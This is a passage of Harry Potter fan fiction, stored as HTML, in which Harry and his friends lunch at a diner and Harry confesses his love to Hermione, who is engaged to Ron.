</p>\n\n<p>&#8220;I didn&#8217;t see her this morning. I slipped out before she got up, actually. I had a lot of thinking to do,&#8221; Harry said. He immediately regretted saying that. He knew Ron would ask what he&#8217;d have to think about. And he wasn&#8217;t wrong. </p>\n\n<p>&#8220;What did you have to think about?&#8221; Ron asked. </p>\n\n<p>&#8220;Just things, you know,&#8221; Harry said, trying to avoid Ron&#8217;s question. </p>\n\n<p>&#8220;A girl, huh?&#8221; Ron asked. &#8220;Don&#8217;t tell me <i>Witch Weekly&#8217;s Bachelor of the Year</i>has a girlfriend? You never mentioned anyone. And I would have been sure the papers wouldn&#8217;t have left that one alone. So, who is she?&#8221;</p>\n\n<p>Harry didn&#8217;t know what to say. He didn&#8217;t want to lie to Ron. He remembered something Sirius had always taught him, when in doubt, offer the non-denial denial approach. </p>\n\n<p>&#8220;She&#8217;s an old friend, actually,&#8221; Harry said. </p>\n\n<p>&#8220;Someone from school?&#8221; Ron asked, intrigued. </p>\n\n<p>&#8220;Yeah, kind of,&#8221; Harry said, looking nervously around the apartment. He&#8217;d been taught how to survive tough interrogations, but all that training went out the window when his friend---his best friend---started questioning him. Some auror I am, he thought. </p>\n\n<p>&#8220;Do I know her?&#8221; Ron asked. &#8220;Was she in our year?&#8221; </p>\n\n<p>&#8220;It doesn&#8217;t really matter, Ron,&#8221; Harry said. &#8220;Besides, she&#8217;s getting married. So, I&#8217;m out of luck. Too late.&#8221; </p>\n\n<p>&#8220;That&#8217;s too bad, mate,&#8221; Ron said, sincerely. &#8220;Hey, you know. She&#8217;s not married, yet, though?&#8221; </p>\n\n<p>&#8220;No, she&#8217;s not,&#8221; Harry said. </p>\n\n<p>&#8220;So, you might still have a chance, right? Work some of that old Potter magic?&#8221; Ron asked. </p>\n\n<p>&#8220;No, I&#8217;m afraid not,&#8221; Harry said. &#8220;That ship has sailed, so to speak.&#8221;<br>\n &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, her loss, mate,&#8221; Ron said. &#8220;You, um, want to wait around here for a bit until I get fixed up and we could have some breakfast or lunch?&#8221; </p>\n\n<p>&#8220;Why don&#8217;t we go down to The Ministry and have lunch with Hermione?&#8221; Harry asked.</p>\n\n<p>&#8220;That sounds good,&#8221; Ron said. &#8220;Let&#8217;s just make sure it&#8217;s in a public place with lots of witnesses.&#8221;</p>\n\n<p>&#8220;Okay,&#8221; Harry said, laughing. &#8220;Go take a shower. You really look awful.&#8221; </p>\n\n<p>&#8220;Thanks,&#8221; Ron said, laughing. &#8220;You really know how to flatter someone. Maybe that girl knew what she was doing when she turned you down.&#8221;</p>\n\n<p>&#8220;Yeah, maybe,&#8221; Harry said, the smile fading from his face. </p>\n\n<p>This wasn&#8217;t going to be easy, he thought. Not in the slightest.&nbsp; </p> '),
	(255, 13, ' <p>Author&#8217;s Note: I hope you guys like this. I enjoyed writing it and I hope you all like this. It&#8217;s a little bit of a payoff for you my fellow H/Hr-shippers! <br>\n\n\n<br>\n Thanks again to all of you for the kind reviews! You guys rock!</p>\n\n<p>&nbsp;</p>\n\n<p>Chapter 13</p>\n\n<p>Lunch Time Confessions</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron arrived at The Ministry a little after noon. They found Hermione and Sirius deep in conversation when Joyce ushered the two of them inside. Harry noticed Joyce give Ron a wide smile. He wondered quickly what that was all about and then brushed it off as he saw Hermione smile up at the two of them. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Is it safe to come in here?&#8221; Ron asked, looking straight at Hermione. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, I guess,&#8221; Hermione said, a grin coming to her face. &#8220;All you have to do is admit what a prat you were last night.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I was,&#8221; Ron said. &#8220;Guilty as charged. Won&#8217;t happen again.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione rolled her eyes at Harry. &#8220;Yeah, how many times have we heard that? Don&#8217;t go making promises you know you can&#8217;t keep, Ron.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alright,&#8221; Ron said, he leaned in to give Hermione a kiss, but Harry noticed that Hermione quickly turned her face so Ron kissed her cheek, and not her lips. He wondered what was going on. He sensed that something wasn&#8217;t right. Maybe he was just imagining that something wasn&#8217;t right. For the first time, he noticed his godfather who was just watching the three of them interact. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius had a bright smile on his face as he watched the three of them and he gave Harry a knowing look. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you grinning about?&#8221; Harry asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Just seems like old times,&#8221; Sirius said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Ron said, smiling. He quickly put an arm around both Hermione and Harry. &#8220;Harry&#8217;s back where he always belonged. Right, Hermione?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione smiled, nervously. &#8220;Of course.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron suddenly removed his arm from Harry and hit himself straight on the face. &#8220;I can&#8217;t believe it. Sirius! I&#8217;m so out of it. How the hell are you?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron went over to Sirius and shook his hand, eagerly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And you, too, are right where you belong,&#8221; Ron said. &#8220;So are you here on a case?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and Harry exchanged worried glances. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius noticed this, but just smiled warmly at Ron. &#8220;Sort of, just some old loose ends to tie up.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, you&#8217;re going to stay for the wedding, right?&#8221; Ron asked. &#8220;I insist on it. And I know once my mum hears that you and Harry are back, she won&#8217;t let you go back to wherever the two of you have been. So, it&#8217;s settled.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I guess it is,&#8221; Sirius said. &#8220;Congratulations, Ron. About you and Hermione.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Thanks,&#8221; Ron said, taking Hermione&#8217;s hand. &#8220;Hey, we were just going to go and grab some lunch did you want to join us?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Sirius chuckled. &#8220;No, I was going to check in on some old colleagues here. You three go ahead and enjoy your reunion. Harry, I will see you later, right?&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; Harry said. &#8220;Are you sure you don&#8217;t want to tag along?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, positive,&#8221; Sirius said. &#8220;Go.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had decided to go to eat at a small , Muggle diner&nbsp; for lunch. They had decided against lunching at The Leaky Cauldron. They&#8217;d known that if any of that lot got wind of Harry&#8217;s return, he&#8217;d spend the entire lunch signing autographs or answering questions. There was also the added notoriety of Ron, as he was now a star Quidditch player; not to mention the number of people wanting to witness &#8220;The Dream Team&#8221; reunion for themselves. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They had settled in a booth near the back of the diner. After placing their orders, they began to talk. To Harry it seemed like old times, but felt a little off. He couldn&#8217;t shake the feeling that something just wasn&#8217;t right. After the waitress had brought back their drinks, a somewhat awkward silence had fallen upon the three of them. Hermione had been unusually quiet on the walk over to the diner and she&#8217;d only nodded when asked a question or given a simple yes or no answer to their questions. She looked preoccupied. Harry could understand that. She had a lot on her plate, so to speak. He wanted to tell her how much he admired her for her strength and her strong will. She was holding up quite well despite everything that had happened to her in the past couple of days.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, Hermione, my mom wants you to come by and discuss something about flowers and the rehearsal dinner,&#8221; Ron said, taking a quick sip of his drink.</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, okay,&#8221; she said. &#8220;I don&#8217;t know how my schedule is going to be, but I&#8217;ll try and owl her about a good time to do that.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;She was thinking of having it at the Burrow, but we haven&#8217;t really worked out the logistics with your Muggle relatives and friends. They might find The Burrow a little---&#8220; Ron&#8217;s voice trailed off. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Harry said. &#8220;It&#8217;s not everyday you see dishes washing themselves, floors being mopped by unmanned mops. Just your typical, everyday occurrence.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;My Aunt Ida would have a heart attack,&#8221; Hermione said. &#8220;You guys should have seen her that time when I was 9 and I turned her hair blue after she&#8217;d said something completely haughty to my mum.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What did you tell her to explain that?&#8221; Harry asked, smiling at her. For the first time, it did seem like old times. It almost seemed as if they were still 11 years old sitting at the Gryffindor table in The Great Hall. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, luckily, it&#8217;d been raining that day and my aunt dyed her hair quite frequently. My mum tried to explain it away by saying that the rain must have reacted with the chemicals in the hair dye or something like that,&#8221; Hermione said, stifling a laugh. &#8220;And my mum was just as surprised as I was. But I&#8217;d been doing stuff like that for ages, but I didn&#8217;t know what it was until I got my Hogwarts letter.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, did your aunt buy that excuse? I mean, it sounded like something that could happen,&#8221; Harry said. &#8220;Totally logical explanation.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah, you would think,&#8221; Hermione said. &#8220;It just mad e things worse. Remember I said my aunt dyed her hair, I didn&#8217;t say she readily admitted that she did. She got all upset with my mum and claimed that she would never dye her hair and that that was her natural hair color. Trust me, Harry. That color doesn&#8217;t occur in nature.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Can&#8217;t wait to meet her at the wedding,&#8221; Harry said, laughing heartily. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron, too, was laughing, but he&#8217;d seemed like he was waiting for the right time to say something. After the laughter began to die down, Ron did say what he&#8217;d looked so eager to say.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So, Hermione,&#8221; Ron said, grinning. &#8220;You aren&#8217;t going to believe the tasty little nugget of information I got out of Mr. Potter, here, this morning.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione took a sip of her Diet Coke and looked at Harry. &#8220;What?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, our Mr. Potter has been holding out on us,&#8221; Ron said, smiling at Harry and playfully punching him on the arm. &#8220;He&#8217;s got himself a girlfriend.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione, who had been just taken another sip of her drink, promptly spit out her drink as Ron said this. Harry took the brunt of the soda attack, so to speak, as he was sitting directly across from Hermione. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione!&#8221; Ron asked, looking at her strangely. &#8220;What in the world?&#8221; </p>\n\n<p>Harry took off his glasses which were now spotted with Diet Coke and wiped them with a napkin. &#8220;Thanks, Hermione.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She looked sheepishly at Ron and Harry. She quickly handed Harry some more napkins and took one herself to mop up the table.&nbsp; &#8220;I&#8217;m sorry. It tasted flat. The soda. It tasted flat.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked at Harry and shook his head. &#8220;No, no. She&#8217;s just as shocked as I was. I take it he didn&#8217;t tell you about this girl.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked down at the table. &#8220;No, he didn&#8217;t mention that he was seeing someone.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, he&#8217;s not seeing her now, mind you. The tart went off and got engaged to someone else, can you imagine?&#8221; Ron said, winking at Harry. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&#8220;She&#8217;s not a tart, Ron,&#8221; Harry said, looking straight at Hermione.&nbsp; He quickly looked back down at the table so Ron couldn&#8217;t figure out whom he was talking about. Harry could see out of the corner of his eye that Hermione, too, had grown totally fascinated with the tabletop. </p>\n\n<p>&#8220;You know Harry I&#8217;m shocked to not have read about this in <i>The Daily Prophet.</i> You know we&#8217;d read about you in there, but they never mentioned any woman. You&#8217;d think they&#8217;d be on that like gangbusters,&#8221; Ron said. </p>\n\n<p>&#8220;Well, it was kept private. No one knew, really. Except for she and I,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry wished that Ron hadn&#8217;t broached this subject. The less said about this, the better, Harry thought. It was Hermione, though, that spoke next. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, what was she like?&#8221; Hermione asked, softly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;How much time do you have?&#8221; Harry asked, he laughed uneasily. He knew that he should stop while he was behind, but something made him continue talking. &#8220;She was amazing. She still is, amazing. She&#8217;s beautiful, both on the inside and the outside. She has this way about her that makes you feel as if you can do anything. She&#8217;s loyal to a fault and has to have the biggest heart of anyone I&#8217;ve ever known. And she never knew this, and I don&#8217;t think I told her enough, but I always admired her strength and her conviction and her passion. And her smile&#8230;There aren&#8217;t enough words to talk about that smile. It can light up a room. And I&#8217;ve gone on way too much about this, already. Where&#8217;s our food?&#8221; He looked anxiously around the diner.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was still looking down at the table. Ron was staring at Harry with his mouth slightly open. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Wow, Harry!&#8221; Ron said. &#8220;I&#8217;m amazed you can still feel like that after what she did.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It wasn&#8217;t really her, Ron,&#8221; Harry said. &#8220;It was me. I was the stupid git that let her get away. Anyway, she&#8217;s probably better off without me.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I doubt that, Harry,&#8221; Ron said. &#8220;Don&#8217;t&#8217; give up hope though. I&#8217;m sure that Hermione and I could play matchmaker for you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Ron,&#8221; Hermione said. &#8220;Leave Harry be. If he wants you to fix him up with someone, he&#8217;ll tell you.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What about Joyce?&#8221; Ron asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Joyce? Joyce is totally wrong for Harry. Not to mention the fact that he&#8217;s not exactly her type. He&#8217;s about twenty years too young for Joyce,&#8221; Hermione said, indignantly. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Guys, calm down,&#8221; Harry said. &#8220;I&#8217;m perfectly fine okay. No need for anyone to go playing matchmaker. Okay.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They didn&#8217;t talk much after that, as the waitress brought their food. Hermione spent the rest of the meal barely touching her food and Harry and Ron talked about Quidditch. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Following the meal, Hermione, Harry and Ron stood outside of the diner. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You didn&#8217;t eat much, Herm,&#8221; Ron said. &#8220;You feeling okay?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yeah,&#8221; Hermione said. &#8220;I had a big breakfast with Sirius.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh, damn,&#8221; Ron said. &#8220;I completely forgot. I was supposed to meet with the Nimbus people today about some promotional stuff they wanted the team to do.&#8221; He looked down at his watch. &#8220;Oh, man. I was supposed to be there over 15 minutes ago. Harry, you want to come with?&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I&#8217;m gonna head back to The Ministry with Hermione and catch up with Sirius,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Okay,&#8221; Ron said. &#8220;I&#8217;m sorry to eat and run, love.&#8221; He quickly kissed Hermione and gave a punch in the arm to Harry. Catch you guys later, then.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They watched him take off down the street and for a moment, neither of them said a word. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220; What was all that in there, Harry?&#8221; Hermione finally asked him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What was what?&#8221; Harry asked her. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You know what I mean. What was that you said in the diner about that girl,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For someone so smart, Hermione, I would have thought you would have figured it out,&#8221; Harry said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know you were talking about me, but I want to know why you would do that in front of Ron,&#8221; she said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Why did you jump all over him when he suggested setting me up with someone?&#8221; Harry asked her, a slight smile playing at his face. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Because,&#8221; Hermione said, exasperated. &#8220;Trust me Harry, you don&#8217;t want to go out with Joyce.&#8221;&nbsp; She took a seat on the bench just outside the diner. He sat down beside her.&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And you really don&#8217;t want Ron setting you up with anyone, trust me. If you had seen the girls he&#8217;s dated, well they&#8217;re not really your type,&#8221; Hermione said. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, I think I&#8217;d agree with you there. I told you that I hadn&#8217;t dated anyone seriously since I&#8217;d been gone. Part of it was because of the job I was doing, but it was also because there was one simple fact that I couldn&#8217;t get around no matter how hard I tried or how hard I wanted to deny it,&#8221; Harry said. &#8220;Don&#8217;t get me wrong these were some great girls, but there was one thing that they didn&#8217;t have.&#8221;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What the IQ of a table?&#8221; Hermione asked, looking away from him. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry put his arm on her shoulder. &#8220;They weren&#8217;t you, Hermione. They could never be you. No one has ever or could ever hold a candle to you in my eyes.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She didn&#8217;t turn around. Where his hand was on her shoulder, he could feel her tense up. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you saying, Harry?&#8221; Hermione asked. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I still love you, Hermione,&#8221; Harry said, softly. &#8220;I think I love you now more than I ever did before.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;That&#8217;s crazy, Harry,&#8221; she said, finally turning around. &#8220;You know we&#8217;re not the same people we were five years ago. We&#8217;ve led completely different lives. We don&#8217;t even know each other anymore.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You don&#8217;t believe that,&#8221; Harry said, looking at her intently. &#8220;Now we may not have seen each other for five years, but that didn&#8217;t make the feelings go away. If anything, it made them stronger. It did for me, you know. Not a day went by that I didn&#8217;t think about you and wished that I could see you.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;You have a funny way of showing it,&#8221; she said. &#8220;You never wrote. You never visited. You completely shut me out.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know,&#8221; Harry said. &#8220;I know I did, but I&#8217;m back now, Hermione. I&#8217;m not going anywhere.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Where have I heard that before?&#8221; Hermione asked. &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;It&#8217;s the truth this time. It almost killed me to leave you last time, and I can honestly say that I never want to be away from you ever again,&#8221; Harry said, taking her hand. </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She sighed. &#8220;Harry, I can&#8217;t do this. I&#8217;m getting married in less than a month.&#8221;</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I know I have no right to ask you for anything, but listen to me. Hermione, give me one week. We can get to know each other again and you can decide once and for all, just who it is you want to be with. I think we need to be alone to just be, you know,&#8221; Harry said.&nbsp; &#8220;Come on, Hermione. If you don&#8217;t do this, we&#8217;ll wonder all our lives what could have been.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stood up and ran her fingers through her hair. She could feel the tears welling up in her eyes. &#8220;I can&#8217;t, Harry.&#8221; </p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He stood up, as well, and took hold of her shoulders. &#8220;Can you honestly tell me that you don&#8217;t still feel something for me? Come on, just look me in the eyes and tell me that you don&#8217;t have some feelings for me.&#8221; 